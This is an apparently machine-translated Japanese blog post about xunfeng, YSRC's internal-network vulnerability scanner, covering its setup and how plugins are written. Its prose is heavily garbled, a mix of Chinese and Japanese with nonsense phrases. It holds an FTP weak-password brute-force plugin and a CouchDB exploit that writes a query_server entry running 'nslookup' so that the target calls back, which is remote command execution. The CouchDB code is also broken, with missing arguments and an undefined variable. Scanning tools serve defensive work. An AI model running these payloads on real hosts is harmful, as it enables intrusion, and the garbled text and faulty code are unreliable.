GitHubじゃ!Pythonじゃ!

GitHubからPython関係の優良リポジトリを探したかったのじゃー、でも英語は出来ないから日本語で読むのじゃー、英語社会世知辛いのじゃー

ysrc

xunfeng – 巡行是単一适用业务内网的漏洞快速应急、巡航调整系统

投稿日:

巡行是単一适用业务内网的漏洞快速应急、巡航调整系统。

巡回


巡航是一応适用业务内漏洞快速应急、巡航扫描搜索运动可清情报、内部资产分布情报、並行可漏離离离访问搜索结果进行快速漏洞调测并搬出结报报表。

本ソフトウェアは、初歩探検、无攻进行行為。请使用者遵守 “中华人民共和国网络安全法 “、YSRC /同程安全应用爆薬中心/同程网络科技股份有限公司有限公司不充電任诺带法律责任。

其の部分は: 网络资产识别引擎漏洞检测引擎

网络资产识别引擎会合を使用して选択的なIP范囲定期自动的な定期自动进行开始(サポートMASSCAN)、并行进行指针识别、识别情报:服务型、组织器、脚本语言、CMS。

漏洩聴取引張り団体根設置のための任务规则进行定期的または第一次的な漏洞调查、それを支持する2種類の插入种类、标示标准脚本、免许可过Web控制进行添加。

安指指南

国内镜像https://code.aliyun.com/ysrc/xunfeng.git

配置指南

  • IP配置** IP构成** IP设定** IP设定**。
  • 配置 – 爬虫類 – 資源探査周期設定计算规则。
  • 可启用MASSCAN(探査范围为全端口)代替盲検の端点探査脚本 、要求安装好MASSCAN后设计完全整备直换径。MASSCAN需要chmod + x给行许诺、并行运行确认可运行後の再開。
  • 他の配置環境が必要です。

插件编写图

2つのタイプをサポートしているPythonの脚本を参照してください。

JSON标示符

Python脚本

get_plugin_infoメソッドは、テスト情報を定義し、 checkます。

# coding:utf-8

import ftplib

def get_plugin_info():  # 插件描述信息
    plugin_info = {
        "name": "FTP弱口令",
        "info": "导致敏感信息泄露,严重情况可导致服务器被入侵控制。",
        "level": "高危",
        "type": "弱口令",
        "author": "wolf@YSRC",
        "url": "",
        "keyword": "server:ftp",  # 推荐搜索关键字
    }
    return plugin_info

def check(ip, port, timeout): # 漏洞检测代码
    user_list = ['ftp', 'www', 'admin', 'root', 'db', 'wwwroot', 'data', 'web']
    for user in user_list:
        for pass_ in PASSWORD_DIC:  # 密码字典无需定义,程序会自动为其赋值。
            pass_ = str(pass_.replace('{user}', user))
            try:
                ftp = ftplib.FTP()
                ftp.timeout = timeout
                ftp.connect(ip, port)
                ftp.login(user, pass_)
                if pass_ == '': pass_ = 'null'
                if user == 'ftp' and pass_ == 'ftp': return u"可匿名登录"
                return u"存在弱口令,账号:%s,密码:%s" % (user, pass_)  # 成功返回结果,内容显示在扫描结果页面。
            except:
                pass

それ以外のシステム内の内部了解支援认证:

DNS:触れ合い、nslookup randomstr IP、验证、 http:// ip:8088 / randomstr、返りYESすぐ存在。

HTTP:触れる、 http:// ip:8088 / add / randomstr、忠告、 http:// ip:8088 / check / randomstr、返回YESすぐ存在。

使用例子:

import urllib2
import random
import socket

def get_plugin_info():  # 插件描述信息
    plugin_info = {
            "name": "CouchDB未授权访问",
            "info": "导致敏感信息泄露,攻击者可通过控制面板执行系统命令,导致服务器被入侵。",
            "level": "高危",
            "type": "未授权访问",
            "author": "wolf@YSRC",
            "url": "",
            "keyword": "server:couchdb",  # 推荐搜索关键字
    }

def get_ver_ip(ip):
    csock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    csock.connect((ip, 80))
    (addr, port) = csock.getsockname()
    csock.close()
    return addr

def random_str(len):
    str1=""
    for i in range(len):
        str1+=(random.choice("ABCDEFGH1234567890"))
    return str(str1)

def check(ip,port,timeout):
    rand_str = random_str(8)
    cmd = random_str(4)
    server_ip = get_ver_ip()
    req_list = [
        ["/_config/query_servers/%s"%(cmd),'"nslookup %s %s>log"'%(rand_str,server_ip)],
        ["/vultest123",''],
        ["/vultest123/test",'{"_id":"safetest"}']
    ]
    for req_info in req_list:
        try:
            request = urllib2.Request(url+req_info[0],req_info[1],timeout=timeout)
            request.get_method = lambda: 'PUT'
            urllib2.urlopen(request)
        except:
            pass
    try:
        req_exec = urllib2.Request(url + "/vultest123/_temp_view?limit=11",'{"language":"%s","map":""}'%(cmd))
        req_exec.add_header("Content-Type","application/json")
        urllib2.urlopen(req_exec)
    except:
        pass
    check = urllib2.urlopen("http://%s:8088/%s"%(server_ip,rand_str)).read()
    if 'YES' in check:
        return u"未授权访问"

流程演示视频

文章构造

│  Config.py  # 配置文件
│  README.md  # 说明文档
│  Run.bat  # Windows启动服务
│  Run.py  # webserver
│  Run.sh    # Linux启动服务,重新启动前需把进程先结束掉
│
├─aider
│      Aider.py  # 辅助验证脚本
│
├─db  # 初始数据库结构
│
├─masscan  # 内置编译好的Masscan程序(CentOS win64适用),需要chmod+x给执行权限(root),若无法使用请自行编译安装。
├─nascan
│  │  NAScan.py # 网络资产信息抓取引擎
│  │
│  ├─lib
│  │      common.py 其他方法
│  │      icmp.py  # ICMP发送类
│  │      log.py  # 日志输出
│  │      mongo.py  # 数据库连接
│  │      scan.py  # 扫描与识别
│  │      start.py  # 线程控制
│  │
│  └─plugin
│          masscan.py  # 调用Masscan脚本
│
├─views
│  │  View.py  # web请求处理
│  │
│  ├─lib
│  │      Conn.py  # 数据库公共类
│  │      CreateExcel.py  # 表格处理
│  │      Login.py  # 权限验证
│  │      QueryLogic.py  # 查询语句解析
│  │
│  ├─static #静态资源目录
│  │
│  └─templates #模板文件目录
│
└─vulscan
    │  VulScan.py  # 漏洞检测引擎
    │
    └─vuldb # 漏洞库目录

YSRC公衆号、回复自己的微信+巡回、会有人拉你巡回微微學会群。







-ysrc
-, , , , , , , ,

執筆者: